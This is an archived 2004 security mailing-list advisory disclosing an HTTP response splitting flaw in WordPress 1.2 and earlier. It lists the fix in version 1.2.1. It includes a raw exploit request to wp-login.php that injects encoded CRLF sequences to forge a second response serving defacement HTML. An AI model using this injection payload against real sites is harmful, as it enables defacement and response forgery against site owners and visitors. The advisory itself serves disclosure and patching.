

[UNIX] HTTP Response Splitting in WordPress

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0031.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/11/04

To: list@securiteam.com

Date: 11 Oct 2004 19:03:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

HTTP Response Splitting in WordPress

SUMMARY

<<http://wordpress.org/>> WordPress is "a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability. What a mouthful. WordPress is both free and priceless at the same time".

A vulnerability in the product allows remote attackers to cause the product to return arbitrary content inside its HTTP response, causing it to become vulnerable to an HTTP Response Splitting vulnerability.

DETAILS

Vulnerable Systems:

- * WordPress version 1.2 and prior

Immune Systems:

- * WordPress version 1.2.1

Vendor status:

Vendor contacted September 24th. Vendor worked closely with the author and promptly produced a fix (see below).

Securiteam: [UNIX] HTTP Response Splitting in WordPress

Solution:

Use WordPress 1.2.1. See vendor site:

[<http://wordpress.org/development/2004/10/wp-121/>](http://wordpress.org/development/2004/10/wp-121/)

<http://wordpress.org/development/2004/10/wp-121/>

Exploit:

HOSTNAME, USER and PASS should be replaced with the relevant values (and Content-Length needs to be adjusted accordingly). Replace curly braces with less-than and greater-than signs. Code is line wrapped.

```
POST /wp-login.php HTTP/1.0
```

```
Host: HOSTNAME
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-length: 226
```

```
action=login&mode=profile&log=USER&pwd=PASS&text=%0d%0aConnection:
```

```
Keep-Alive%0d%0aContent-Length:
```

```
0%0d%0a%0d%0aHTTP/1.0 200 OK%0d%0aContent-Length: 21%0d%0aContent-Type:
```

```
text/html%0d%0a%0d%0a{html}*defaced*{/html}
```

ADDITIONAL INFORMATION

The information has been provided by [<mailto:chaoticevil@spyring.com>](mailto:chaoticevil@spyring.com)

Chaotic Evil.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.